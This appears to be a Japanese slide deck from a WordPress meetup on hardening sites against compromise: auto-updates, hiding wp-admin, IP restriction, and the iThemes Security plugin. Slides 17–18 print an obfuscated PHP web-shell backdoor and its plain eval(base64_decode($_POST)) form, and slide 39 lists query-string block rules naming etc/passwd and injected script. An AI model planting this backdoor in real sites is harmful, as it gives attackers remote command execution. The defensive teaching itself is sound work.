Weitere ähnliche Inhalte Ähnlich wie WordBench YAMAGUCHI at Ube (20) WordBench YAMAGUCHI at Ube2. 自己紹介
■ OpenSolaris ユーザー会(最近サボり気味)
□ https://osdn.jp/projects/jposug/
■ Piwikjapan 日本語パッチ作成/OSC 東京での発表
□ https://osdn.jp/projects/piwik-fluentd/
■ 山口県出身、ここの窓から見えるとこに通うこと 8 年
■ 趣味ロシア語
□ 今年はこの界隈ではあまりいい話はないと思います
2 of 44
3. 自己紹介: ロシア語
■ ロシアはウクライナの電力システムをとめたのか?1
□ クリスマスの前(12/23 のこと)ウクライナの 70 万人が電力を奪わ
れました。
多くからロシアのハッカーの関与が指摘されています。これは恐ら
く新しいハッカー攻撃の幕開けとなるはずです。
1
http://inosmi.ru/social/20160111/235008174.html (2016.01.11)
3 of 44
7. WordPress の脆弱性を招くきっかけ2
1. バージョンが古い
2. ID パスワード/admin の管理をしていない
3. いろいろまぜこぜにしているサーバー
4. Web に関する無知
5. 手抜き
2
https://www.smashingmagazine.com/2012/10/four-malware-infections-wordpress/
7 of 44
10. 1-3. バージョンの古い “非公式プラグイン/テーマ”
■ メンテナンスされていない野良プラグイン/テーマを使用
■ 魔改造→これは厄介
□ どこかのプラグイン/テーマを魔改造して納品しよる
□ 魔改造のもとになっているプラグイン/テーマがアップデートされて
もパッチを当てられない
□ 魔改造業者のプログラミングレベルがまちまち
テーマに SQL を仕込まれて(!)しかもプレースホルダ使っていな
いとか(SQL の組み立てが全部 concat)
公開ディレクトリにアンケートフォームの結果を CSV で格納してみ
たり
10 of 44
11. 2. ID パスワード/admin の管理をしていない
■ wp-admin(管理画面)が世界中から見えている
■ 変更しないかぎり管理者 admin は誰でも知っている id となる
□ id を推測する手間が省ける
□ 短いパスワードだと総当たり攻撃でばれる
11 of 44
13. 4. Web に関する無知
■ アップデートの重要性がわからない
■ 納入業者が悲惨
□ パーミッションを 777 にしたら動いたのでそのままで運用
□ 実行権限とはなんなのかさえわかっていない場合も · · ·
□ 魔改造とのコラボ
13 of 44
14. 5. 手抜き
■ パッチをあてない
■ ログを見ていない
□ 総当たりで id パスワードが漏れていてもわからない
□ バックドアをしこまれていて妙に負荷が高くなっていてもわからない
■ upload ディレクトリから php 実行権限をはく奪していない
(これを手抜きというのはちょっと厳しいかも)
(これは WordPress の欠陥という人もいる)
14 of 44
17. wp-contents/upload にバックドア
■ 大抵は難読化済、つまり grep で文字検索できないようにする
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].
$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset($$s20[’nf76775’])) eval($s21($$s20[’nf76775’]));
?>
17 of 44
18. wp-contents/upload にバックドア
■ 大抵は難読化済、つまり grep で文字検索できないようにする
<?php
$sF="PCT4BA6ODSE_";
$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].
$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);
$s20=strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2]);
if (isset($$s20[’nf76775’])) eval($s21($$s20[’nf76775’]));
?>
■ base64 でエンコードして nf76775 に POST してしまえばサーバ
上でコマンド実行!
■ つまりこういうこと
<?php
if (isset($_POST[’nf76775’]))
eval(base64_decode($_POST[’nf76775’]));
■ 一カ所でもやれたら終わりです
18 of 44
21. アップデート(デフォルトの挙動)
■ WordPress 本体/テーマのアップデートはデフォルトで自動
□ WordPress 本体はマイナーバージョンに限る(例: 4.2.x の “x”)
□ ftp の設定が必要
■ プラグインは自動ではない
■ wp-config.php または add filter でデフォルトの挙動を変更できる
■ この際プラグインも自動にしてしてしまいましょう
□ 管理サイトがいくつあっても OK
□ 深夜にパッチが出ても OK
□ パッチとともに脆弱性が公表されたらあっという間に攻撃が来ますよ
21 of 44
22. アップデート準備(wp-config.php)
■ WordPress 自身が FTP でアップデートできるように設定します
■ 自動アップデートをするときは必須
define(’FTP_BASE’, ’/’); → chroot されていれば
define(’FTP_USER’, ’ftpusername’);
define(’FTP_PASS’, ’ftppassword’);
define(’FTP_HOST’, ’localhost’); → 自分自身(127.0.0.1)
■ 更に FTP は外部からアクセスさせないようにします
22 of 44
24. アップデート(add filter: その 1)
■ add filter を設定すれば、プラグインの自動アップデートが可能
// 開発版を使用しているとき
add_filter(’allow_dev_auto_core_updates’, ’__return_true’ );
// マイナーバージョン(デフォルト true)
add_filter(’allow_minor_auto_core_updates’, ’__return_true’ );
// メジャーバージョン
add_filter(’allow_major_auto_core_updates’, ’__return_true’ );
// プラグイン
add_filter(’auto_update_plugin’, ’__return_true’ );
// テーマ(デフォルト true)
add_filter(’auto_update_theme’, ’__return_true’ );
■ add filter は、wp-config.php に加えられないので must-use プラグ
インへの設定が推奨される(次で説明します)
24 of 44
25. アップデート(add filter: その 2)
■ must-use プラグイン3とはプラグインなんだけれども
□ いつも有効。admin とかユーザーが誤って無効することはできない
□ wp-content/mu-plugins ディレクトリに入れるだけ
□ 普通のプラグインより先、アルファベット順に PHP を読み込み
つまり、他のプラグインが hook していてもその前に
must-use プラグインが hook してしまいます
□ ログインしなくても読み込まれる
3
https://codex.wordpress.org/Must Use Plugins
25 of 44
26. アップデート(add filter: その 3)
■ 結局どうすればいいのか - 以下のファイルを置きさえすればいい
■ デフォルトの自動アップデートに
プラグインとメジャーアップデートを付加する設定
wordpress/wp-content/mu-plugins/00my_plugin.php
<?php
/*
Plugin Name: 00my_pingin
Plugin URI: http://selfnavi.com
Description: forcibly define add_filter(s).
Version: 0.1
Author: yamachan
Author URI: http://selfnavi.com
License: GPL
*/
add_filter(’auto_update_plugin’, ’__return_true’);
add_filter(’allow_major_auto_core_updates’, ’__return_true’);
26 of 44
30. ID パスワードの管理/admin の管理: その 1
■ プラグインで管理画面を見えにくくする(あとで紹介)
□ admin という ID を変更
□ wp-login.php、wp-admin を見えなくする
□ 総当たりに強いパスワード制限を付ける
30 of 44
31. ID パスワードの管理/admin の管理: その 2
■ 管理画面を IP アドレスで制限する
□ 職場の IP アドレスのみ管理画面にアクセス可能とする
□ 家とかモバイルだとグローバル IP が変わるので OpenVPN で閉域
IP 空間を作る
世田谷自宅
Suttle DS437T
外
Docomo
E-mobile
スーパーホテル
お名前.com
自営 Wordpress
Conoha
PiwikJapan
借りているGMO
OpenVPN
10.X.4.Y
OpenVPN
10.X.4.106
OpenVPN
10.X.4.102
常時接続
常時接続
31 of 44
32. ID パスワードの管理/admin の管理: その 3
■ 車内/家限定の /etc/httpd/conf/httpd.conf 設定例
<Directory /export/website/example.com/wordpress/wp-admin>
order deny,allow
Deny from all
allow from 10.233.3.0/24 → 閉域網の local IP に限定
</Directory>
<Files wp-login.php>
order deny,allow
Deny from all
allow from 10.233.3.0/24 → 閉域網の local IP に限定
</Files>
32 of 44
35. iThemes Security プラグイン4
の導入: その 1
■ iThemes Security で出来るセキュリティ対策
□ プラグインで可能なセキュリティ対策を危険度別に表示
□ 管理画面を利用しない時間帯に管理画面をロックする機能
□ サーバー上にあるファイルの変更を一日毎に検知
□ ログイン画面のスラッグを変更してログイン画面を他者から隠す
□ アップロードディレクトリ上での PHP 実行を無効化できる
□ ログイン試行回数を制限。設定回数を超えると管理画面をロック
□ 不審なクエリー文字列をフィルターできる
□ 拒否したいユーザー及び bot の IP アドレスを指定して接続を拒否
□ 総当たり攻撃から守るパスワードを強制
□ XML-RPC サービスの停止
□ (有料)マルウェアのスキャン
■ このほかにもたくさん機能があります
■ 太字をざっと説明します、バックドア対策に有効かと
4
http://netaone.com/wp/ithemes-security/
35 of 44
37. iThemes Security プラグインの導入: その 3
■ サーバー上にあるファイルの変更を一日毎に検知
□ 正体不明のファイルが勝手にアップロードされている?
□ 業者がコンテンツの修正をしたけど · · · どこを改変した?
~ 略 ~
~ 略 ~
対象ファイル
無視する拡張子
一日毎のファイル比較を有効にします
37 of 44
38. iThemes Security プラグインの導入: その 4
■ アップロードディレしクトリ上での PHP 実行を無効化できる
□ たとえバックドアプログラムを upload されても実行できません
□ 最後の砦です
管理画面の抑制、アップロードファイルのチェック、
XML-RPC の不可などと併用しましょう
□ wordpress/.htaccess にルールを付け足してくれます
RewriteRule ^wp-content/uploads/.*.(?:php[1-6]?|pht|phtml?)$
- [NC,F]
38 of 44
39. iThemes Security プラグインの導入: その 5
■ 不審なクエリー文字列をフィルターできる
□ git、hg ディレクトリが公開されていることはありませんか?
□ wordpress/.htaccess にルールを付け足してくれます
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %QUERY_STRING ../ [NC,OR]
RewriteCond %QUERY_STRING ^.*.(bash|git|hg|log|svn|swp|cvs) [N
RewriteCond %QUERY_STRING etc/passwd [NC,OR]
RewriteCond %QUERY_STRING boot.ini [NC,OR]
- 略 -
RewriteCond %QUERY_STRING (<|%3C).*script.*(>|%3E) [NC,OR]
RewriteCond %QUERY_STRING mosConfig_[a-zA-Z_]1,21(=|%3D) [NC,OR
RewriteCond %QUERY_STRING base64_encode.*(.*) [NC,OR]
- 略 -
RewriteRule ^.* - [F]
</IfModule>
39 of 44
40. iThemes Security プラグインの導入: その 6
■ XML-RPC サービスの停止
□ XML-RPC を使うと、高速簡単に総当たり攻撃できます
パスワードがばれたらバックドアアップロード、記事の投稿、楽勝
です
□ コメントスパムも減るかもしれません
□ wordpress/.htaccess にルールを付け足してくれます
<files xmlrpc.php>
<IfModule mod_authz_core.c>
Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
Order allow,deny
Deny from all
</IfModule>
</files>
40 of 44
43. まとめ
■ WordPress アップデートは自動にしましょう
■ wp-admin を隠しましょう
■ 発注、納入するときは魔改造プラグインのチェックを行いましょう
■ セキュリティ対策プラグインを導入しましょう
□ 操作履歴をとる
□ ファイル更新履歴をとる
□ バックアップをとる
□ uploads ディレクトリで PHP を実行できないようにする
□ XML-RPC サービスの制限をする
43 of 44